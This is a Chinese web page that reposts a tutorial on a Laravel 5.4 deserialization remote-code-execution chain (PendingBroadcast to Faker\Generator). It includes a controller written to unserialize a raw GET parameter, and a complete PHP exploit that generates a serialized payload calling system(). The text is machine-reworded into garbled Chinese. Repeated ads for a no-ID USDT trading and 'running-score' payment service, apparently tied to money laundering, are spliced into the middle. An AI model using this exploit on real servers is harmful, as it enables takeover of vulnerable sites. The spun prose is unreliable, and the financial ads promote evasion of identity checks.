欢迎访问本站!

首页科技正文

usdt不用实名买入卖出(www.caibao.it):laravel-5.4-序列化导致rce

admin2021-02-2773安全技术WEB安全

USDT自动充值API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

laravel-5.4-序列化导致rce

之前开剖析给laravel5.7,5.8的序列化破绽,于是就想把laravel框架破绽所有给剖析一次。

1.1环境搭建

要剖析框架破绽我们肯定要搭建好环境,这里我是使用的安装包搭建的,也可以使用composer搭建

laravel安装包下载地址

然后使用phpstduy,快速搭建好。如下图。

1.2寻找行使点

一般来说我们寻找序列化破绽,都是从__destruct()或者__wakeup()最先的

__wakeup() //使用unserialize时触发
__destruct() //工具被销毁时触发

然后我们就全局搜索。在Illuminate\Broadcasting\PendingBroadcast发现PendingBroadcast类中对照好行使,由于$this->events$this->event都可以我们控制。

然后我们有俩个思绪一个是去控制随便类的dispatch方式,另一个是去寻找类中存在__call方式而且没有dispatch()方式

__call() //在工具上下文中挪用不能接见的方式时触发

寻找了一遍,发现第一个思绪欠好行使(tcl~)

以是我们去行使第二个思绪,寻找__call()邪术函数,我们在Faker\Generator类中发现可以行使。

,

usdt收款平台

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

然后我们去跟进format()方式,发现有一个call_user_func_array()函数,就是我们行使的地方。

发现call_user_func_array()函数的第一个参数是getFormatter()内里的返回值,我们跟进getFormatter()函数

可以发现$this->formatters[$formatter]我们可以控制,然后直接return,就并不需要看后面的代码啦。

然后我们现在梳理一下我们可以控制的参数,并举行行使rce

PendingBroadcast类中$this->events,$this->event
Generator类中__call方式,而且可以控制$this->formatters[$formatter]

思绪:

我们通过PendingBroadcast类的__destruct的方式为入口,控制参数$this->events让其即是new Generator(),然后进入Generator类的__call方式,然后进入getFormatter类,控制$this->formatters[$formatter]为我们控制的函数如system,而参数就是最最先PendingBroadcast类的$this->eventwhoami

1.3组织触发

由于序列化的行使基本上在后期开发中写的,使用我们需要写一个触发点去验证poc.

/routes/web.php 文件中添加一条路由,便于我们后续接见。

Route::get("/","\App\Http\Controllers\DemoController@demo");

然后在/app/Http/Controllers/下添加 DemoController控制器,代码如下:

<?php 
namespace App\Http\Controllers;

use Illuminate\Http\Request;
class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.4";
    }
}

1.4exp

<?php

namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        function __construct($events, $cmd)
        {
            $this->events = $events;
            $this->event = $cmd;
        }
    }
}
namespace Faker
{
    class Generator
    {
        protected $formatters;

        function __construct($function)
        {
            $this->formatters = ['dispatch' => $function];
        }
    }
}
namespace{
    $a = new Faker\Generator('system');
    $b = new Illuminate\Broadcasting\PendingBroadcast($a,'dir');
    echo urlencode(serialize($b));
}

行使乐成

1.5挪用栈

1.6攻击流程

1.7总结

  • 这个破绽应该说是对照简单的序列化,由于需要的链子对照少,而且对照好明白,对于初学者来说对照容易上手
  • 自己通过调试,深入领会这个链子

网友评论